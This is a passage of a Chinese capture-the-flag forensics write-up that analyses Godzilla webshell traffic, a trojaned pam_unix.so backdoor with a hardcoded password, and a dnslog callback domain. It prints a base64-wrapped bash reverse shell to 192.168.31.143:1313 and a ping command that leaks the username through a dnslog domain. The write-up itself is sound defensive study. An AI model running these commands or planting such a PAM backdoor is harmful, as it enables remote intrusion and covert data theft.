总的来说,黑客利用webshell执行这个命令,主要是为了获取有关目标系统安全性的关键数据,以便在后续攻击中做出更有针对性的决策。

那我们接着对返回包进行解密得到;

在这里插入图片描述
得到;

Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                 Version      Architecture Description
+++-====================-============-============-========================================
ii  libpam-modules:amd64 1.3.1-5      amd64        Pluggable Authentication Modules for PAM

简单分析一下;

简单来说就是这段输出是 dpkg -l libpam-modules:amd64 命令的结果,表示目标系统中安装的 libpam-modules 包的详细信息。

  1. Desired

    • Desired=Unknown/Install/Remove/Purge/Hold:显示软件包的期望状态,包括未知、已安装、已删除、清除和保留等状态。
  2. Status

    • Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend:显示软件包的实际状态。常见的状态包括:
      • Not:未安装
      • Inst:已安装
      • Conf-files:存在配置文件但未安装
      • 其他状态表示软件包的不同安装状态。
  3. Err?

    • Err?=(none)/Reinst-required (Status,Err: uppercase=bad):显示是否存在错误或需要重新安装的状态。
  4. 包信息

    • ||/ Name Version Architecture Description:这是列出包的名称、版本、架构和描述的标题行。
    • ii libpam-modules:amd64 1.3.1-5 amd64 Pluggable Authentication Modules for PAM
      • ii:表示该包已正确安装。
      • libpam-modules:amd64:包的名称,表明它是64位架构的 PAM 模块。
      • 1.3.1-5:表示该包的版本号。
      • amd64:包的架构。
      • Pluggable Authentication Modules for PAM:包的描述,说明这是用于 PAM 的可插入认证模块。

分析

通过这段输出,黑客可以得知:

  1. 包的状态:确认 libpam-modules 已正确安装,并且没有错误。
  2. 版本信息:通过版本号 1.3.1-5,黑客可以查询是否存在已知的安全漏洞,以评估目标系统的脆弱性。
  3. 架构类型:确认该包是64位的,这可能影响黑客选择攻击工具或方法。

最后的最后黑客成功“dpkg -l libpam-modules:amd64”也成功返回了“pam版本”,所以题目问我们的“利用webshell执行命令还查询并过滤了什么?并且提交整条执行成功的命令“,就是“dpkg -l libpam-modules:amd64”;

至此;

flag{dpkg -l libpam-modules:amd64}
步骤#1.10
10、黑客留下后门的反连的IP和PORT是什么?(IP:PORT)

解题思路

题目问我们黑客留下后门的反连的IP和PORT是什么?,那我们首先简单了解一下什么是“黑客留下后门的反连的IP和PORT”;

黑客留下后门的反连的IP和PORT?

简单来说就是黑客留下的后门(backdoor)通常指的是他们在目标系统中安装的一种恶意程序或工具,允许他们在未被授权的情况下远程访问和控制该系统。这些后门通常会指定反向连接(reverse connection)的 IP 地址和端口(PORT)。

反向连接(Reverse Connection):

  1. 定义

    • 在反向连接中,受害者的计算机(目标系统)主动向黑客控制的计算机(攻击者)发起连接。这与传统的连接方式不同,通常是攻击者直接连接到受害者的计算机。
  2. IP 和 PORT

    • IP 地址:这是黑客控制的服务器或计算机的网络地址,黑客在其后门程序中配置此地址,以便目标系统能够找到并连接到黑客的机器。
    • 端口:这是指定的网络端口,用于接收连接请求。黑客可以选择常用端口(如 80、443)以避免引起怀疑,或者使用不常用的端口以减少被检测的风险。

为什么使用反向连接:

  1. 绕过防火墙:许多防火墙会阻止外部连接到内部网络,但允许内部设备主动连接到外部。因此,反向连接可以绕过这些防御机制。

  2. 隐蔽性:由于连接是从受害者系统发起的,攻击者的 IP 地址和位置可能更难以追踪,增加了隐蔽性。

  3. 持久性:后门可以保持持续的连接,使黑客能够在未来的任何时间访问目标系统。

总之,黑客留下的后门和反向连接的 IP 和端口是其实现远程控制和持久访问的重要手段。

那我们就接着继续找呗,反正也就那几个包,在多翻翻,还有那些包没有进行解密分析的,多看看;

也还是跟之前一样,按照时间来简单排个序,直接找到最后一条数据包进行分析;

在这里插入图片描述

追踪流“HTTP”分析得到;

在这里插入图片描述

还是继续请求包进行解密得到;

在这里插入图片描述

哥斯拉webshell请求流量解密为:

cmdLine l sh -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-3 2>&1executableFile shexecutableArgsi -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash" 2>&1arg-0 shargsCount 4arg-1 -carg-2_ cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bashmethodName execCommand

简单分析一下;

请求分析

  1. 命令结构

    • cmdLine sh -c "cd "/";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash"
      • 使用 sh -c 来执行命令。
      • cd "/":切换到根目录,通常在此上下文中没有实际效果。
      • echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTQzLzEzMTMgMD4mMQ==|base64 -d|bash:该命令首先输出一个经过Base64编码的字符串,然后将其解码并通过 bash 执行。
  2. Base64 解码得到

    • 解码结果为:/bin/bash -i >& /dev/tcp/192.168.31.143/1313 0>&1
      • 这行命令的含义是启动一个交互式的 bash shell,将输入和输出重定向到指定的 IP 和端口(在这个例子中是 192.168.31.1431313)。

可以确认反向连接的 IP 和 PORT

  • IP 地址192.168.31.143
  • 端口1313

分析

  1. 后门的目的

    • 通过创建一个反向连接,黑客能够在目标系统上打开一个交互式的 shell。这意味着他们可以远程控制该系统,执行任意命令,进行数据窃取或进一步的攻击。
  2. 绕过安全机制

    • 反向连接利用了目标系统主动连接到攻击者的主机,这使得许多防火墙和网络安全设备可能无法检测到这种连接,增加了黑客的隐蔽性。
  3. 持久性

    • 一旦后门被成功安装,黑客可以随时通过该 IP 和端口访问目标系统,进行进一步的恶意操作。

结论

通过这个请求,黑客在目标系统上成功建立了一个反向连接的后门,使其能够远程控制该系统。解码后的命令显示了黑客的意图和具体实施方法。

对“bsae64”进行解码得到;

base64在线解码

在这里插入图片描述

/bin/bash -i >& /dev/tcp/192.168.31.143/1313 0>&1

至于这里返回的请求是解密不了的;

在这里插入图片描述

至此;

flag{192.168.31.143:1313}
步骤#1.11
11、黑客通过什么文件留下了后门?

解题思路

题目问我们黑客通过什么文件留下了后门?那这里既然是在流量包里面,我们也还是跟之前一样进行翻找数据包,这里我也是找了好久最后也是才找到,因为这个能想到的,能找的基本都找完了,而且也并没有什么特别明显的特点,所以就只能慢慢解密进行分析;

最后也是实在是按照时间排序找不着,后来就简单按包的大小排个序,想着看看大的包里面应该包含着加密文件,复制出来解密就行,哎,也没想到最后也是真被我发现了!

在这里插入图片描述

在大小为“1295”的包中发现了,其实一开始我没想着分析的,但是这一眼望过去实在太突兀了,想着分析一下,没想到就找到了;

在这里插入图片描述

将请求包进行解码得到;

在这里插入图片描述

fileName /tmp/pam_unix.sofileValue NELF

简单分析一下;

文件分析

  1. 文件路径/tmp/pam_unix.so

    • /tmp 目录通常用于存储临时文件,黑客选择这个目录可能是为了避开监控,因为很多系统管理员不会频繁检查该目录。
    • pam_unix.so 是一个常见的动态链接库文件,通常与 PAM(可插入式认证模块)相关联。这个文件名暗示了它可能涉及系统的身份验证。
  2. 文件类型NELF

    • NELF 是指该文件是一个可执行的 ELF(可执行和可链接格式)文件,通常用于 Linux 系统中的可执行程序和共享库。

后门目的

  1. 利用 PAM

    • 黑客可能利用这个库文件来创建一个后门,使得通过 PAM 进行身份验证时,黑客能够获得访问权限。这可以让他们在用户登录时获得控制权。
  2. 隐蔽性

    • 由于文件名与正常的系统文件相似,黑客可以更容易地隐藏他们的活动,降低被检测的风险。
  3. 持久性

    • 通过将后门与 PAM 模块关联,黑客可以在系统重启后仍然保持访问权限,因为 PAM 在系统启动和用户登录时都会被调用。

最后我们还可以解密一下返回包;

在这里插入图片描述

最后解密出来,也是OK对吧,它都说OK了,那就肯定OK啊(代表上传成功);

至此;

flag{pam_unix.so}
步骤#1.12
12、黑客设置的后门密码是什么?

解题思路

题目问我们黑客设置后门密码是什么?那刚刚我们已经找出黑客留下的后门文件——“pam_unix.so”了,那这里又问我们后门密码,那这里多半后门密码是在后门文件中,那这时候我们就要想办法把后门文件“pam_unix.so”给“down”下来进行分析;

那文件肯定就不是在流量包中了,因为也是我自己也是找了半天发现是没有的,所以我们转战“Liunx”靶机环境中,那这里我们首先要连接上靶机,至于具体的步骤已在最开始的时候说了,具体操作请往上翻——准备步骤;

那我们这边按照步骤一步一步来,也是成功连接;

在这里插入图片描述

那这里我们的目标也很明确只需要找到黑客上传的后门文件——“pam_unix.so”即可,所以这里也是存在两种方法,一种是直接使用“find”来进行查找,还有一种,我们可以查看一下历史命令——history,它会列出黑客都在里面干了什么(前提是没有清楚历史命令的情况下),那这里两种我们都来演示一遍吧;

使用“find”命令进行查找!

find / -name "pam_unix.so" 2>/dev/null

命令详解:

  1. find /

    • 从根目录开始搜索,意味着会搜索整个文件系统。
  2. -name "pam_unix.so"

    • 指定要查找的文件名。这里使用双引号是为了确保文件名被正确处理。
  3. 2>/dev/null

    • 将错误输出(例如,因权限不足无法访问的目录)重定向到 /dev/null,这样在搜索过程中不会显示这些错误信息,使输出更加干净。

也是很快就找到了!

在这里插入图片描述

目录:/usr/lib/x86_64-linux-gnu/security/pam_unix.so

那我们查看一下“history”命令,也是可以发现;

在这里插入图片描述

11  cp /lib/x86_64-linux-gnu/security/pam_unix.so /opt/.pam_unix.so.bak
12  cp /tmp/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so

简单分析一下;

命令分析

  1. cp /lib/x86_64-linux-gnu/security/pam_unix.so /opt/.pam_unix.so.bak

    • 操作:将 /lib/x86_64-linux-gnu/security/pam_unix.so 文件复制到 /opt/ 目录,并重命名为 .pam_unix.so.bak
    • 目的:通常是为了备份原始的 PAM 模块,以防在后续操作中出现问题。这使得黑客可以在需要时恢复原始文件。
  2. cp /tmp/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so

    • 操作:将 /tmp/pam_unix.so 文件复制到 /lib/x86_64-linux-gnu/security/ 目录,覆盖现有的 pam_unix.so 文件。
    • 目的:这条命令将恶意的 PAM 模块替换掉原有的模块,可能是为了在身份验证过程中实现后门,允许黑客在用户登录时获取控制权。

总结

通过这两条命令,黑客首先备份了原始的 pam_unix.so 文件,然后用他们自己控制的恶意版本替换了它。这样做可以隐藏他们的活动,同时确保在系统重启或用户登录时仍能保持访问权限。

那这里既然找了后门文件那肯定就是需要“down”下来进行分析啦,那这里别的工具我可能不太清楚,毕竟我也没怎么接触过,但是这里“Finalshell”操作起来还是很容易的,跟着步骤一步一步来进行分析;

选中下面的后门文件“右键”---->"下载"即可!

在这里插入图片描述

也是很快就“down”下来了,不过这里师傅们就需要注意下载的路径,我这里直接下载到桌面,各位师傅注意下载路径即可,以防找不着;

在这里插入图片描述

那现在已经导出后门文件了,我们使用file命令来查看一下文件的,在 Linux 中,file 命令用于确定文件的类型。它通过检查文件的内容而不仅仅是文件的扩展名来识别文件类型。

命令;

file pam_unix.so

在这里插入图片描述

得到;

pam_unix.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=b823fd038f580c704c3c8e26f383e82b7cdb5f59, with debug_info, not stripped

简单分析一下;

  • pam_unix.so:

    • 表示这是要分析的文件名。
  • ELF 64-bit LSB shared object

    • ELF:表示该文件是以可执行和可链接格式(ELF)编写的,这是 Linux 和 Unix 系统中常用的可执行文件格式。
    • 64-bit:表示该文件是为 64 位系统编译的。
    • LSB:代表 Linux Standard Base,指该文件遵循 Linux 标准基准的格式。
    • shared object:指这是一个共享对象文件,即可以被多个程序共享的库文件。
  • x86-64

    • 表示该文件是为 x86-64 架构(64 位 Intel/AMD 处理器)编译的。
  • version 1 (SYSV)

    • 表示这是第一版本的系统 V ABI(应用二进制接口),通常用于描述二进制接口规范。
  • dynamically linked

    • 表示该共享库是在运行时链接的,这意味着它可能依赖其他库,且在程序执行时会加载这些依赖。
  • BuildID[sha1]=b823fd038f580c704c3c8e26f383e82b7cdb5f59

    • 表示该文件的构建 ID,通常用于版本管理和调试。
  • with debug_info

    • 表示该文件包含调试信息。这意味着开发者可以在调试程序时获得更多上下文信息,比如函数名、变量名等。
  • not stripped

    • 表示该文件没有被“剥离”,也就是说,它保留了符号表和调试信息。通常在发布版本时,文件会被剥离,以减小大小和保护内部实现。

总结

pam_unix.so 是一个为 64 位 x86-64 架构编写的动态链接共享库,遵循 ELF 格式,包含调试信息且没有剥离。它是 PAM(可插入式认证模块)的一部分,用于处理基于 UNIX 的身份验证。

那既然保留调试的信息,说明我们是可以深入进行分析的,不过我相信很多师傅看见“可调式”就肯定明白是怎么个回事了,所以这里我们使用工具——IDA,进行分析,那IDA又是什么工具呢?这里简单分析一下,以免有的师傅不太了解毕竟可能没有接触过RE嘛;

工具IDA简介;

IDA(Interactive DisAssembler)是一个广泛使用的反汇编和逆向工程工具,主要用于分析和理解二进制文件。以下是其主要特点:

主要特点

  1. 反汇编功能

    • IDA 可以将机器码转换为汇编语言,帮助用户理解程序的执行流程。
  2. 图形用户界面

    • 提供交互式的图形界面,允许用户以可视化的方式查看代码结构和控制流图。
  3. 支持多种架构

    • 支持多种处理器架构,包括 x86, x64, ARM, MIPS 等,适合不同平台的分析。
  4. 插件支持

    • IDA 支持第三方插件,可以扩展其功能,满足特定需求。
  5. 调试功能

    • 结合调试器,可以实时调试程序,分析运行时行为。
  6. 脚本功能

    • 支持使用 Python 等语言编写脚本,以自动化分析过程,提高效率。

应用场景

  • 安全分析:用于恶意软件分析和漏洞研究。
  • 软件调试:帮助开发者调试和优化代码。

IDA 是逆向工程领域的重要工具,广泛应用于安全研究、恶意软件分析和代码审计等方面。

那这里也简单介绍了IDA,那可能还有的师傅有疑问,“pam_unix.so”的“.so”是什么文件的后缀嘛?有什么特殊的嘛?那我们也来简单的一起说一下;

简单来说“.so” 是共享对象文件(Shared Object)的文件后缀,主要用于动态链接库。在 Linux 和 Unix 系统中,“.so” 文件具有以下特点:

特点

  1. 动态链接

    • .so 文件在程序运行时被加载,而不是在编译时。这允许多个程序共享同一库,从而节省内存和磁盘空间。
  2. 支持版本控制

    • 动态链接库可以有多个版本,系统可以根据需要选择适当的版本。这有助于程序兼容性。
  3. 模块化

    • 使用 .so 文件可以将程序的功能模块化,便于维护和更新。开发者可以在不重编译整个应用程序的情况下更新库。
  4. 符号导出

    • .so 文件可以导出符号(如函数和变量),供其他程序调用。这使得功能的重用变得简单。

应用场景

  • 标准库:许多系统库(如 C 标准库)以 .so 形式存在。
  • 插件系统:许多应用程序使用动态库实现插件功能,允许用户扩展软件的功能。

总结来说,.so 文件在 Linux 和 Unix 系统中非常重要,用于支持动态链接和模块化设计,增强了程序的灵活性和可维护性。

那这里都简单了解一下前因后果,这里我们直接丢进64位的IDA中进行分析吧!

打开之后我们直接找到函数“pam_sm_authenticate”,那可能有的师傅就有疑问了,为什么一打开就找这个喊呢?那这时候想想题目问我们什么?问的是后门密码,那你猜猜这个函数一般来说是存放什么的?

简单分析

pam_sm_authenticate 是 PAM(可插拔认证模块)框架中的一个函数,主要用于用户身份验证。这个函数的作用是对用户提供的凭证(如密码)进行验证,通常是在 PAM 模块中实现的。

主要特点

  1. 身份验证逻辑

    • pam_sm_authenticate 通常包含具体的身份验证逻辑,比如检查用户输入的密码是否正确。
  2. 参数

    • 函数通常接收多个参数,包括 PAM 句柄、用户信息、会话信息等,以便执行验证。
  3. 返回值

    • 返回值指示身份验证的结果,例如成功、失败或其他错误。这使得 PAM 框架可以根据结果采取相应措施。

与其他函数的区别

  • 不同功能

    • PAM 框架中还有其他函数,如 pam_sm_setcred(用于设置凭证)和 pam_sm_open_session(用于打开会话)。这些函数在 PAM 模块的工作流程中执行不同的任务。
  • 执行时机

    • pam_sm_authenticate 通常在用户登录时调用,而其他函数可能在会话管理或用户凭证管理的不同阶段调用。

总结

pam_sm_authenticate 是 PAM 框架中的关键函数,负责用户身份验证(要的就是这个验证“密码”)。与其他 PAM 函数相比,它专注于验证用户凭证,确保只有合法用户可以访问系统或服务。

最后也是功夫不负有心人,虽然很久没接触RE了,但至少最基本的咱还是明白一些的;

在这里插入图片描述

我们来简单分析一下,也不需要说那么深,深了可能会弄混了,简单了解一下就行,因为很少题目会这样来出,这也算是一道非常规的吧;

首先可以的是这段代码片段似乎来自一个 PAM 模块的实现,主要负责处理用户身份验证。

代码分析

  1. pam_set_data(pamh, "unix_setcred_return", v6, setcred_free);

    • 将某些认证数据(v6)存储在 PAM 句柄中,便于后续使用。
  2. authtok = pam_get_authtok();

    • 调用 pam_get_authtok() 获取用户的认证令牌(通常是密码)。
  3. 密码检查

    • 如果 authtok 不存在,调用 unix_verify_password(pamh, name, p, v4); 来验证密码。
    • 如果验证失败,记录日志并返回错误代码。
  4. 特殊密码检查

    • 代码中有一行 v12 = strcmp("XJ@123", p) == 0;,用于检查输入密码是否为 "XJ@123"
    • 如果匹配成功,设置返回值 v8
  5. 记录日志

    • 使用 pam_syslog 记录关于用户名的错误信息,如果用户名不正确,返回相应的错误代码。

后门密码分析

  • 所以可以确认的是黑客设置的后门密码是"XJ@123"
  • 为什么确定是
    • 代码中明确比较用户输入的密码是否等于 "XJ@123",并根据比较结果决定认证是否成功。
    • 如果这个密码被硬编码在代码中,黑客可能利用这个密码获得不当访问权限。

总结

代码的逻辑表明,黑客通过在身份验证逻辑中嵌入一个特定的密码 "XJ@123" 来创建后门,使得他们能够绕过正常的身份验证流程。

至此;

flag{XJ@123}
步骤#1.13
13、黑客的恶意dnslog服务器地址是什么?

解题思路

题目问我们黑客的恶意“dnslog”服务器地址是什么?那在此之前我们得首先简单了解一下什么是“dnslog”服务器!

简单介绍一下“dnslog”服务器;

简单来说“DNSLog”服务器是一种用于监测和记录 DNS 请求的服务器,通常用于安全研究和漏洞分析。以下是其主要特点和应用场景:

主要特点

  1. 请求记录

    • DNSLog 服务器能够记录所有到达它的 DNS 查询,通常包括请求的域名、源 IP 地址和请求时间等信息。
  2. 便于分析

    • 我们可以通过分析 DNS 查询来识别恶意活动、追踪攻击源或了解攻击者的行为。
  3. 简化的设置

    • 许多 DNSLog 服务提供在线平台,用户可以快速设置和使用,便于进行测试和研究。
  4. 域名映射

    • 攻击者或我们可以将特定的域名解析到 DNSLog 服务器,以捕获相关请求。

应用场景

  • 恶意软件分析

    • 在分析恶意软件时,我们可以通过监控其发出的 DNS 请求来获取重要信息,比如命令和控制(C2)服务器的地址。
  • 渗透测试

    • 渗透测试人员可以利用 DNSLog 监控自定义域名的请求,了解被测系统如何与外部网络交互。
  • 安全事件响应

    • 在安全事件调查中,DNSLog 提供的信息有助于重建事件的时间线和攻击路径。

总结

DNSLog 服务器是一个强大的工具,用于记录和分析 DNS 查询,广泛应用于安全研究、恶意软件分析和渗透测试中,帮助安全专家理解和应对网络威胁。

再说说它的原理;

简单来说“DNSLog”服务器的原理可以简单理解为:它是一个专门用来接收和记录 DNS 请求的服务器。

工作原理

  1. 域名解析请求

    • 当你的设备(如计算机或手机)需要访问一个网站时,会向 DNS 服务器发送请求,以获取该网站的 IP 地址。
  2. DNSLog 的作用

    • 如果攻击者或我们使用一个 DNSLog 服务提供的特殊域名(如 example.dnslog.cn),当设备请求解析这个域名时,DNSLog 服务器会接收到这个请求并记录下来。
  3. 记录信息

    • DNSLog 服务器会记录请求的详细信息,比如请求的域名、请求来源的 IP 地址、请求时间等。这些信息存储在服务器上,便于后续查看和分析。
  4. 分析和利用

    • 我们可以登录到 DNSLog 的平台,查看记录的请求,从中获取有关网络行为的信息,帮助识别恶意活动或进行测试。

举个简单的例子

假设你正在测试一个恶意软件,软件可能会尝试联系它的指挥控制(C2)服务器。你可以设置一个 DNSLog 域名并将它配置到恶意软件中。当恶意软件尝试连接这个域名时,DNSLog 服务器会记录下这个请求,你就可以看到它的 IP 地址和其他相关信息。

总结

简单来说,DNSLog 服务器就像一个“记录员”,专门用来记录与特定域名相关的所有请求,帮助我们分析和理解网络活动。

这边我们可以简单实验一下(如在线dnslog访问不了,请关闭内网【校园网】,开启手机热点);

好用的dnslog在线平台推荐

获取IP地址;

在这里插入图片描述

使用管理员打开“cmd”,输入命令;

ping %USERNAME%.jr5q5d.dnslog.cn

得到;

在这里插入图片描述

接着返回“在线dsnlog”,点击“Refresh Record”即可获取具体IP地址以及具体时间;

在这里插入图片描述

简单分析一下命令是什么意思;

在命令 ping %USERNAME%.jr5q5d.dnslog.cn 中,%USERNAME% 是一个环境变量,通常在 Windows 系统中使用。

意义和作用

  1. 环境变量

    • %USERNAME% 代表当前登录用户的用户名。当这个命令执行时,%USERNAME% 会被替换为实际的用户名。
  2. 动态域名生成

    • 使用 %USERNAME% 可以动态生成特定的域名。例如,如果当前用户的用户名是 alice,那么执行的命令实际上是 ping alice.jr5q5d.dnslog.cn
  3. 记录用户活动

    • 这种方式通常用于监测和记录不同用户的活动。通过 ping 不同的用户生成的域名,攻击者或研究人员可以观察到哪个用户的设备发出了请求。

总结

%USERNAME% 在这个命令中用作动态替换,帮助生成特定于用户的 DNS 请求,从而监测不同用户的活动。

那好,这里的“dnslog”就暂时了解到这里,我们继续返回"IDA"进行分析;

其实这里前面该分析已经分析过了;

在这里插入图片描述

不过没关系,我们有的是耐心,那就再分析一遍;

首先可以确认恶意 DNSLog 服务器地址:

c0ee2ad2d8.ipv6.xxx.eu.org.

为什么是这个地址

  1. 动态生成

    • 代码中使用 snprintf 函数构造了一个 DNS 名称,结合了 namep 变量。虽然具体的 namep 值没有给出,但可以确定最终的地址是以 c0ee2ad2d8.ipv6.xxx.eu.org. 结尾。
  2. 恶意意图

    • 这个 DNS 名称的构造意图是让被感染的系统向这个地址发送 DNS 请求,黑客可以通过 DNSLog 服务器记录下请求,获取用户的信息或活动。
  3. 与攻击者的联系

    • 通过这个地址,攻击者可以监控和识别目标系统,进而实施进一步的攻击或数据窃取。

总结

恶意 DNSLog 服务器的地址 c0ee2ad2d8.ipv6.xxx.eu.org. 是代码动态生成的,目的是监控用户活动并建立与攻击者的联系。

至此;

flag{c0ee2ad2d8.ipv6.xxx.eu.org.}
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值